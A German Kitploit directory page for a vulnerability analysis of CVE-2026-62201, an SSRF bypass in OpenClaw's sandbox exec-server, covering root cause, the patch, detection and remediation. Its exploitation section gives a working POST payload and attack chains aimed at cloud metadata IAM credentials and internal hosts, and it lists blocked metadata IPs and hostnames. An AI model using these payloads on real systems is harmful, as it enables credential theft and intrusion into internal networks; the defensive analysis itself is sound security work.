Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-62201-OpenClaw-SSRF — Tiefgehende Analyse von CVE-2026-62201: Umgehung der Netzwerkrichtlinie des OpenClaw-Sandbox-Exec-Servers (SSRF). Grundursache, verwundbarer vs. gepatchter Code, Ausnutzung, Erkennung, Abhilfe. | Kitploit
Tools/GitHubGitHub/diedromeo/cve-2026-62201-openclaw-ssrf
SchwachstellenanalyseExploitationWebsicherheitCloud-Sicherheit
GitHubdiedromeo/cve-2026-62201-openclaw-ssrf

CVE-2026-62201-OpenClaw-SSRF

Tiefgehende Analyse von CVE-2026-62201: Umgehung der Netzwerkrichtlinie des OpenClaw-Sandbox-Exec-Servers (SSRF). Grundursache, verwundbarer vs. gepatchter Code, Ausnutzung, Erkennung, Abhilfe.

Repository anzeigen
vor 0 TagenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-62201 — OpenClaw Sandbox Exec-Server Network Policy Bypass (SSRF)

Schweregrad: Hoch · CVSS: 7,7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)


Schwachstelle auf einen Blick

FeldWert
AdvisoryGHSA-mgvr-6gvw-3rgr
NVDCVE-2026-62201
ProduktOpenClaw (npm-Paket openclaw) — Sandbox-exec-server-Komponente
Betroffenopenclaw < 2026.6.6
Behoben2026.6.6 und später
GrundursacheFehlende SSRF-Validierung im eingebetteten HTTP-Helfer des exec-servers (SANDBOX_HTTP_REQUEST_SCRIPT)
Fix-Commit21410d1c — "fix(codex): guard sandbox http requests"
AngriffsvektorHTTP-POST an den http/request-Handler des exec-servers mit einer angreiferkontrollierten URL
AuswirkungAufrufer mit niedrigen Privilegien erreicht interne Netzwerkziele (Cloud-Metadaten, private IPs, Localhost-Dienste), die die OpenClaw-Netzwerkrichtlinie blockieren sollte

Zusammenfassung

OpenClaw ist eine KI-Agenten-Plattform, deren Sandbox-exec-server einen HTTP-Request-Helfer bereitstellt, den Agenten für ausgehende Webaufrufe nutzen. Versionen vor 2026.6.6 lieferten diesen Helfer ohne SSRF-Schutz aus: Ein Aufrufer mit geringerer Vertrauensstufe — jeder Agent, jedes Tool oder jeder Eingabepfad, den die Plattform als weniger vertrauenswürdig als einen Gateway-Betreiber einstuft — konnte eine beliebige URL übermitteln und den exec-server veranlassen, diese aus dem Host-Netzwerk heraus abzurufen.

Netzwerkrichtlinien-Prüfungen, die für direkten Sandbox-Egress gelten, wurden nicht angewendet, wenn Anfragen über die HTTP-Schnittstelle des exec-servers liefen. Diese Inkonsistenz ist die Schwachstelle: Der exec-server fungierte als uneingeschränkter HTTP-Proxy in das interne Netzwerk.


Technischer Deep Dive

Die Komponente: Sandbox Exec-Server

Wenn OpenClaw einen Codex-Agenten in einer Sandbox ausführt, startet es einen lokalen exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts), der JSON-RPC-Methoden über einen WebSocket/HTTP-Transport bereitstellt. Eine dieser Methoden, http/request, ermöglicht dem Agenten das Abrufen von URLs. Die Implementierung leitet die Anfrage durch ein kleines eingebettetes Python-Skript — SANDBOX_HTTP_REQUEST_SCRIPT — das die eigentliche urllib-Arbeit erledigt.

Der Request-Handler befindet sich in extensions/codex/src/app-server/sandbox-exec-server/http.ts.

Verwundbarer Code ([email protected])

Der Python-Helfer erhielt die URL und prüfte nur das Schema:

root@kitploit:~
# Aus [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (gekürzt)
def main():
    input_data = json.load(sys.stdin)
    url = str(input_data.get("url", ""))
    parsed = urllib.parse.urlparse(url)
    if parsed.scheme not in ("http", "https"):
        raise ValueError("http/request only supports http and https URLs")

    request = urllib.request.Request(url, ...)
    with urllib.request.urlopen(request, timeout=timeout) as response:
        handle_response(input_data, response)

Das ist die gesamte Absicherung. Es gab:

  • ❌ Keine Hostname-Blockliste (localhost, *.internal, metadata.google.internal …)
  • ❌ Keine Ablehnung privater / Link-Local- / Loopback-IPs
  • ❌ Keine DNS-Auflösungsprüfung (Hostname konnte zu einer internen IP aufgelöst werden)
  • ❌ Keine Redirect-Validierung — ein Redirect auf http://169.254.169.254/ wurde blind verfolgt

Ergebnis: {"method":"GET","url":"http://<interner-host>/"} gab den internen Antworttext an den Aufrufer zurück. Der exec-server war ein offener Proxy in das Host-Netzwerk.

Der Fix ([email protected])

Commit 21410d1c fügte Defense-in-Depth auf beiden Ebenen hinzu:

Ebene 1 — TypeScript-Vorprüfung (assertSandboxHttpRequestTargetAllowed in http.ts):

root@kitploit:~
function assertSandboxHttpRequestTargetAllowed(url: string): void {
  const parsed = new URL(url);
  if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
    throw new SsrFBlockedError(...);
  }
  if (isBlockedHostnameOrIp(parsed.hostname)) {
    throw new SsrFBlockedError(...);
  }
}

Ebene 2 — Härtung des Python-Helfers (assert_url_allowed im eingebetteten Skript):

  • Blockierte Hostnamen: localhost, localhost.localdomain, metadata.google.internal, plus *.localhost-, *.local-, *.internal-Suffixe
  • Cloud-Metadaten-IPs: 169.254.169.254, 100.100.100.200, fd00:ec2::254
  • Blockierte IPv4/IPv6-Netzwerke: CGNAT 100.64.0.0/10, Benchmarking 198.18.0.0/15, Dokumentation 2001:db8::/32 und weitere
  • ipaddress-Klassifizierung: Loopback, privat, Link-Local, Multicast, reserviert, unspezifiziert
  • DNS-Auflösungs-Pinning: Der Hostname wird vor der Anfrage aufgelöst, jede aufgelöste Adresse wird geprüft, und die geprüften Adressen werden dann für die tatsächliche Verbindung festgepinnt (verhindert DNS-Rebinding)
  • GuardedRedirectHandler: Jeder Redirect-Hop führt assert_url_allowed erneut aus, bevor er verfolgt wird
  • IPv6-eingebettete-IPv4-Extraktion: Gemappte (::ffff:a.b.c.d), 6to4- (2002::/16), Teredo- und ISATAP-Formen werden entpackt und ihre eingebettete IPv4 wird geprüft
root@kitploit:~
def assert_url_allowed(url):
    parsed = urllib.parse.urlparse(url)
    ...
    hostname = normalize_hostname(parsed.hostname)
    if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
        raise ValueError("Blocked hostname or private/internal/special-use IP address")
    results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
    addresses = {entry[4][0] for entry in results if entry[4]}
    if not addresses or any(is_blocked_ip(address) for address in addresses):
        raise ValueError("Blocked: resolves to private/internal/special-use IP address")
    PINNED_ADDRESSES[hostname] = sorted(addresses)

Ausnutzung

Voraussetzungen

  • Eine laufende OpenClaw-Instanz < 2026.6.6 mit aktiviertem Sandbox-exec-server
  • Möglichkeit, den HTTP-Endpunkt des exec-servers zu erreichen und http/request aufzurufen (die Plattform behandelt dies als Zugriff mit niedrigen Privilegien — z. B. ein Plugin, ein Tool oder ein Eingabepfad, nicht ein Gateway-Betreiber)

Schritt-für-Schritt-Anleitung

Schritt 1 — Senden einer Anfrage, die auf einen internen Dienst abzielt:

root@kitploit:~
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json

{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}

Schritt 2 — Verwundbare Antwort (HTTP 200):

Der exec-server rief die interne URL ab und gab den Text an den Aufrufer zurück — base64-gewrappt als bodyBase64:

root@kitploit:~
{
  "status": 200,
  "headers": [{"name":"Content-Type","value":"application/json"}],
  "bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}

Dekodiert:

root@kitploit:~
{
  "secret": "...",
  "instanceId": "...",
  "region": "us-east-1",
  "role": "admin-role"
}

Schritt 3 — Behobene Antwort (HTTP 502):

root@kitploit:~
{
  "error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}

Das interne Ziel ist auf gepatchten Versionen über den exec-server nicht erreichbar.

Beispiele für Angriffsketten

  1. Cloud-Metadaten-Exfiltration — http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM-Anmeldedaten
  2. Pivoting — Erreichen von Admin-Konsolen, Datenbanken und anderen internen Diensten im RFC-1918-Bereich, die nie über den exec-server erreichbar sein sollten
  3. Localhost-Dienste — http://127.0.0.1:<port>/ zum Zugriff auf ko-lokalisierte, nicht authentifizierte Verwaltungsschnittstellen

Auswirkung & CVSS-Begründung

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7,7 Hoch

  • PR:L — Die Ausnutzung erfordert Zugriff mit niedrigen Privilegien (ein Aufrufer mit geringerer Vertrauensstufe / konfigurierter Eingabepfad), nicht Gateway-Betreiber-Privilegien. Die Netzwerk-Angriffsfläche macht es gefährlich: Der exec-server befindet sich innerhalb des Bereitstellungsnetzwerks.
  • S:C — Der Scope ändert sich: Die Kompromittierung ist nicht auf den exec-server beschränkt, sie erstreckt sich in das interne Netzwerk (Metadatendienst, private Dienste).
  • C:H / I:N / A:N — Die primäre Auswirkung ist Vertraulichkeit: Datengefährdung von internen Zielen. Es gibt keine direkte Schreib- oder Verfügbarkeitsauswirkung über diesen Pfad.

Die Rahmung des Advisories ist wichtig: OpenClaws Modell vertrauenswürdiger Betreiber geht davon aus, dass Gateway-Betreiber vertrauenswürdig sind. Der Fehler besteht darin, dass eine Oberfläche mit geringerer Vertrauensstufe (Plugins, Tools, Eingabepfade) Ziele erreichen konnte, die die Richtlinie hätte blockieren sollen.


Erkennung

Nuclei

Eine Erkennungsvorlage ist verfügbar — OAST-basiert, ohne Vorkenntnis der internen Topologie erforderlich:

root@kitploit:~
http:
  - raw:
      - |
        POST /exec/http HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"

      - type: word
        part: body
        words:
          - "bodyBase64"

Upstream eingereicht: projectdiscovery/nuclei-templates#17183

Log- & Telemetrie-Signale

  • Ausgehende Anfragen vom exec-server-Prozess an RFC-1918- / Link-Local- / Loopback-Adressen
  • POST-Anfragen an /exec/http (oder das WebSocket-JSON-RPC-Äquivalent), deren JSON-Body ein url-Feld enthält, das auf private/interne Ziele zeigt
  • Anfragen vom exec-server an die Cloud-Metadaten-IP (169.254.169.254, 100.100.100.200)
  • Anomaler Egress: exec-server verbindet sich mit Ports/Diensten, die er nichts angehen

Behebung

  1. Upgrade — npm install [email protected] (oder später). Der Fix fügt vollständige SSRF-Validierung sowohl an der TS-Grenze als auch im Python-Helfer hinzu.
  2. Exec-server-Zugriff einschränken — nur vertrauenswürdigen Agenten/Tools zugänglich machen; per Firewall von Eingabepfaden mit geringerer Vertrauensstufe abschotten.
  3. Tool- & Kanal-Allowlists eingrenzen — Least-Privilege für das, was Agenten aufrufen können.
  4. Netzwerk-Egress-Kontrolle — Wenn ein sofortiges Upgrade nicht möglich ist, den exec-server-Host daran hindern, Metadaten-Endpunkte und interne Bereiche auf Netzwerkebene zu erreichen, als kompensierende Kontrolle.
  5. Gemeinsame Gateways zwischen nicht vertrauenden Benutzern vermeiden, bis der Patch installiert ist.

Offenlegungszeitplan

  • Gemeldet an die OpenClaw-Maintainer (GitHub-Security-Advisory-Prozess)
  • Advisory veröffentlicht: GHSA-mgvr-6gvw-3rgr — Hoher Schweregrad
  • CVE zugewiesen: CVE-2026-62201
  • Fix veröffentlicht: 2026.6.6

Referenzen

  • GHSA-mgvr-6gvw-3rgr — OpenClaw Security Advisory
  • NVD — CVE-2026-62201
  • VulnCheck Advisory
  • Fix-Commit 21410d1c
  • Verwundbarer Quellcode — sandbox-exec-server/http.ts

Verantwortungsvolle Offenlegung

Diese Forschung wurde gegen öffentlich offengelegte Schwachstellendaten und Software durchgeführt, die in einer isolierten Laborumgebung bereitgestellt wurde. Es sind keine Live-Produktionssysteme, Netzwerke Dritter oder Zero-Day-Forschung beteiligt. Alle hier verwendeten PoCs sind harmlose Nur-Lese-Anfragen.

Tool herunterladen